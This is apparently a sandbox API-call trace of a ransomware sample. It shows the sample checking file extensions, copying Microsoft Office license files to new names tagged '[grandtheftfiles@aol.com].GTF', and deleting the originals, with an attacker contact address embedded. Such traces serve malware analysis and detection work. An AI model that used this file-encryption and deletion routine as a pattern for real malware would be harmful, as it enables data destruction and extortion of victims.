	[0176.850] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.850] lstrlenW (lpString=".dbf") returned 4
	[0176.850] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.850] lstrlenW (lpString=".1cd") returned 4
	[0176.850] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.850] lstrlenW (lpString=".jpg") returned 4
	[0176.850] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.850] lstrlenW (lpString=".doc") returned 4
	[0176.850] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.850] lstrlenW (lpString=".docx") returned 5
	[0176.850] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.850] lstrlenW (lpString=".pdf") returned 4
	[0176.850] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.850] lstrlenW (lpString=".xls") returned 4
	[0176.850] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.851] lstrlenW (lpString=".xlsx") returned 5
	[0176.851] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.851] lstrlenW (lpString=".ppt") returned 4
	[0176.851] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.851] lstrlenW (lpString=".zip") returned 4
	[0176.851] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.851] lstrlenW (lpString=".rar") returned 4
	[0176.851] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.851] lstrlenW (lpString=".bz2") returned 4
	[0176.851] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.851] lstrlenW (lpString=".7z") returned 3
	[0176.851] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.851] lstrlenW (lpString=".dbf") returned 4
	[0176.851] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.851] lstrlenW (lpString=".1cd") returned 4
	[0176.851] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.851] lstrlenW (lpString=".jpg") returned 4
	[0176.851] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.851] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.851] lstrlenW (lpString="MondoVL_MAK-ul-phn.xrm-ms") returned 25
	[0176.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0177.027] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19921) returned 1
	[0177.027] CloseHandle (hObject=0x530) returned 1
	[0177.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 0x220
	[0177.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0177.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0177.955] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.955] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0177.956] GetLastError () returned 0x0
	[0177.956] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x4dd1, lpOverlapped=0x0) returned 1
	[0177.986] WriteFile (in: hFile=0x374, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0177.988] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.988] WriteFile (in: hFile=0x374, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x106, lpOverlapped=0x0) returned 1
	[0177.988] SetEndOfFile (hFile=0x374) returned 1
	[0177.988] CloseHandle (hObject=0x374) returned 1
	[0177.988] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.989] SetEndOfFile (hFile=0x540) returned 1
	[0177.994] CloseHandle (hObject=0x540) returned 1
	[0177.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0177.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 1
	[0177.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.996] lstrlenW (lpString=".doc") returned 4
	[0177.996] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.996] lstrlenW (lpString=".docx") returned 5
	[0177.996] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.996] lstrlenW (lpString=".pdf") returned 4
	[0177.996] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.996] lstrlenW (lpString=".xls") returned 4
	[0177.996] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.996] lstrlenW (lpString=".xlsx") returned 5
	[0177.996] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.996] lstrlenW (lpString=".ppt") returned 4
	[0177.996] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.996] lstrlenW (lpString=".zip") returned 4
	[0177.996] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.996] lstrlenW (lpString=".rar") returned 4
	[0177.996] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.996] lstrlenW (lpString=".bz2") returned 4
	[0177.997] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.997] lstrlenW (lpString=".7z") returned 3
	[0177.997] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.997] lstrlenW (lpString=".dbf") returned 4
	[0177.997] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.997] lstrlenW (lpString=".1cd") returned 4
	[0177.997] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.997] lstrlenW (lpString=".jpg") returned 4
	[0177.997] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.997] lstrlenW (lpString=".doc") returned 4
	[0177.997] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.997] lstrlenW (lpString=".docx") returned 5
	[0177.997] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.997] lstrlenW (lpString=".pdf") returned 4
	[0177.997] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.997] lstrlenW (lpString=".xls") returned 4
	[0177.997] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.997] lstrlenW (lpString=".xlsx") returned 5
	[0177.997] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.998] lstrlenW (lpString=".ppt") returned 4
	[0177.998] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.998] lstrlenW (lpString=".zip") returned 4
	[0177.998] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.998] lstrlenW (lpString=".rar") returned 4
	[0177.998] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.998] lstrlenW (lpString=".bz2") returned 4
	[0177.998] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.998] lstrlenW (lpString=".7z") returned 3
	[0177.998] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.998] lstrlenW (lpString=".dbf") returned 4
	[0177.998] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.998] lstrlenW (lpString=".1cd") returned 4
	[0177.998] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.998] lstrlenW (lpString=".jpg") returned 4
	[0177.998] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.999] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0177.999] lstrlenW (lpString="O365BusinessR_Subscription-ppd.xrm-ms") returned 37
	[0177.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.000] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=25386) returned 1
	[0178.000] CloseHandle (hObject=0x540) returned 1
	[0178.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 0x220
	[0178.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.002] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.002] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0178.003] GetLastError () returned 0x0
	[0178.003] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x632a, lpOverlapped=0x0) returned 1
	[0178.016] WriteFile (in: hFile=0x374, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x6330, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x6330, lpOverlapped=0x0) returned 1
	[0178.018] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.018] WriteFile (in: hFile=0x374, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0178.018] SetEndOfFile (hFile=0x374) returned 1
	[0178.018] CloseHandle (hObject=0x374) returned 1
	[0178.018] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.018] SetEndOfFile (hFile=0x540) returned 1
	[0178.022] CloseHandle (hObject=0x540) returned 1
	[0178.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 1
	[0178.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.023] lstrlenW (lpString=".doc") returned 4
	[0178.023] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.023] lstrlenW (lpString=".docx") returned 5
	[0178.023] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.023] lstrlenW (lpString=".pdf") returned 4
	[0178.023] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.023] lstrlenW (lpString=".xls") returned 4
	[0178.023] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.023] lstrlenW (lpString=".xlsx") returned 5
	[0178.023] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.023] lstrlenW (lpString=".ppt") returned 4
	[0178.023] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.024] lstrlenW (lpString=".zip") returned 4
	[0178.024] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.024] lstrlenW (lpString=".rar") returned 4
	[0178.024] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.024] lstrlenW (lpString=".bz2") returned 4
	[0178.024] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.024] lstrlenW (lpString=".7z") returned 3
	[0178.024] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.024] lstrlenW (lpString=".dbf") returned 4
	[0178.024] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.024] lstrlenW (lpString=".1cd") returned 4
	[0178.024] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.024] lstrlenW (lpString=".jpg") returned 4
	[0178.024] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.024] lstrlenW (lpString=".doc") returned 4
	[0178.024] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.024] lstrlenW (lpString=".docx") returned 5
	[0178.024] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.024] lstrlenW (lpString=".pdf") returned 4
	[0178.024] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.024] lstrlenW (lpString=".xls") returned 4
	[0178.025] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.025] lstrlenW (lpString=".xlsx") returned 5
	[0178.025] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.025] lstrlenW (lpString=".ppt") returned 4
	[0178.025] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.025] lstrlenW (lpString=".zip") returned 4
	[0178.025] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.025] lstrlenW (lpString=".rar") returned 4
	[0178.025] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.025] lstrlenW (lpString=".bz2") returned 4
	[0178.025] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.025] lstrlenW (lpString=".7z") returned 3
	[0178.025] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.025] lstrlenW (lpString=".dbf") returned 4
	[0178.025] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.025] lstrlenW (lpString=".1cd") returned 4
	[0178.025] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0178.025] lstrlenW (lpString=".jpg") returned 4
	[0178.025] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.025] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.025] lstrlenW (lpString="O365BusinessR_Subscription-ul-oob.xrm-ms") returned 40
	[0178.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.026] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11647) returned 1
	[0178.026] CloseHandle (hObject=0x540) returned 1
	[0178.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 0x220
	[0178.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.027] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.027] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0178.028] GetLastError () returned 0x0
	[0178.028] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d7f, lpOverlapped=0x0) returned 1
	[0178.030] WriteFile (in: hFile=0x374, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0178.032] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.032] WriteFile (in: hFile=0x374, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x124, lpOverlapped=0x0) returned 1
	[0178.032] SetEndOfFile (hFile=0x374) returned 1
	[0178.035] CloseHandle (hObject=0x374) returned 1
	[0178.035] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.035] SetEndOfFile (hFile=0x540) returned 1
	[0178.160] CloseHandle (hObject=0x540) returned 1
	[0178.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 1
	[0178.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.332] lstrlenW (lpString=".doc") returned 4
	[0178.332] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.332] lstrlenW (lpString=".docx") returned 5
	[0178.332] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
